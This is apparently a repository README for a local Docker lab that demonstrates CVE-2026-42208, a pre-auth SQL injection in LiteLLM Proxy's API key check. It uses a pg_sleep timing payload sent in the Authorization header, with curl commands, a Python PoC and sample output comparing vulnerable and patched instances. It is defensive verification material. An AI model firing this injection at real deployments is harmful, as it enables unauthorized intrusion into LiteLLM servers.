
Local Docker lab and timing-based proof-of-concept for CVE-2026-42208, a pre-auth SQL injection in LiteLLM Proxy, demonstrating vulnerable vs patched instances.
Local Docker lab and least-harm PoC for CVE-2026-42208, a pre-authentication SQL injection vulnerability in LiteLLM Proxy's API key verification path.
This repository demonstrates the difference between a vulnerable LiteLLM instance and a patched LiteLLM instance using a timing-based PostgreSQL pg_sleep() proof.
Scope: local lab / authorized testing only. The default PoC does not dump database data and does not modify database data.
CVE-2026-42208 affects LiteLLM Proxy versions 1.81.16 through versions before 1.83.7.
The vulnerability is triggered through a crafted Authorization: Bearer ... header sent to a LiteLLM API endpoint. In affected versions, the caller-supplied token can reach a SQL query path during API key verification.
This lab compares:
| Service | Version | URL | Expected Result |
|---|
vuln | v1.83.6-nightly | http://127.0.0.1:8081 | delayed 401 response |
patched | v1.83.7-stable | http://127.0.0.1:8082 | fast 401 response |
The proof uses a payload similar to:
' OR (SELECT pg_sleep(6)) IS NULL --
Both services should return HTTP 401, but the vulnerable instance should take about 6 seconds to respond while the patched instance should respond quickly.
.
├── docker-compose.yml
├── vuln/
│ ├── Dockerfile
│ └── config.yaml
├── patched/
│ ├── Dockerfile
│ └── config.yaml
├── poc/
│ └── poc.py
├── README.md
└── .gitignore
localhost:8081 -> vulnerable LiteLLM -> PostgreSQL db-vuln
localhost:8082 -> patched LiteLLM -> PostgreSQL db-patched
The PostgreSQL services are internal Docker services and are not exposed to the host.
Only LiteLLM HTTP ports are exposed:
| Host Port | Service | Container Port |
|---|---|---|
8081 | vulnerable LiteLLM | 4000 |
8082 | patched LiteLLM | 4000 |
docker compose up -d --build
Check service status:
docker compose ps
Expected status:
db-vuln healthy
db-patched healthy
vuln healthy
patched healthy
Test the vulnerable instance:
python3 poc/poc.py --url http://127.0.0.1:8081
Test the patched instance:
python3 poc/poc.py --url http://127.0.0.1:8082
--url Target base URL
--path API path to test. Default: /v1/chat/completions
--sleep Seconds for pg_sleep(). Default: 6
--rounds Number of probe rounds. Default: 2
Examples:
python3 poc/poc.py --url http://127.0.0.1:8081 --sleep 3 --rounds 2
python3 poc/poc.py --url http://127.0.0.1:8081 --path /chat/completions
Vulnerable instance:
[*] target=http://127.0.0.1:8081
[*] path=/v1/chat/completions
[*] sleep=6
[*] rounds=2
[*] Running baseline request
[baseline] status=401 elapsed=0.041s body='...'
[*] Running timing probes
[probe] round=1 status=401 elapsed=6.048s body='...'
[probe] round=2 status=401 elapsed=6.033s body='...'
[*] Verdict
baseline=0.041s
probe_median=6.040s
delta=5.999s
result=LIKELY VULNERABLE
reason=crafted Authorization header caused a timing delay consistent with SQL evaluation
Patched instance:
[*] target=http://127.0.0.1:8082
[*] path=/v1/chat/completions
[*] sleep=6
[*] rounds=2
[*] Running baseline request
[baseline] status=401 elapsed=0.025s body='...'
[*] Running timing probes
[probe] round=1 status=401 elapsed=0.030s body='...'
[probe] round=2 status=401 elapsed=0.013s body='...'
[*] Verdict
baseline=0.025s
probe_median=0.021s
delta=-0.004s
result=LIKELY PATCHED_OR_NOT_TRIGGERED
reason=no meaningful timing difference observed
Example result from this lab:
[probe] vuln round=1 status=401 elapsed=6.048s
[probe] vuln round=2 status=401 elapsed=6.033s
[probe] patched round=1 status=401 elapsed=0.030s
[probe] patched round=2 status=401 elapsed=0.013s
vuln: LIKELY VULNERABLE timing median=6.040s
patched: LIKELY PATCHED/NOT TRIGGERED timing median=0.021s
The important observation is that both services return 401, but only the vulnerable service delays for approximately the pg_sleep() duration.
This repository uses a timing proof because it is safer than extracting data.
The PoC proves that the injected SQL expression is being evaluated by observing response delay. It does not attempt to dump database rows, extract API keys, modify records, or bypass authentication.
Vulnerable service:
time curl -sS -o /dev/null -w '%{http_code}\n' \
-X POST http://127.0.0.1:8081/v1/chat/completions \
-H "Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NULL --" \
-H "Content-Type: application/json" \
-d '{"model":"local-dummy","messages":[{"role":"user","content":"x"}]}'
Patched service:
time curl -sS -o /dev/null -w '%{http_code}\n' \
-X POST http://127.0.0.1:8082/v1/chat/completions \
-H "Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NULL --" \
-H "Content-Type: application/json" \
-d '{"model":"local-dummy","messages":[{"role":"user","content":"x"}]}'
Expected behavior:
vulnerable -> approximately 6 seconds
patched -> near-immediate response
docker compose down -v
This removes containers, network, and PostgreSQL volumes.
This lab is intended for local and authorized testing only.
Do not run the PoC against systems you do not own or do not have permission to test.
Do not use real provider API keys or production LiteLLM credentials in this lab.
The default PoC avoids destructive behavior and does not extract database contents.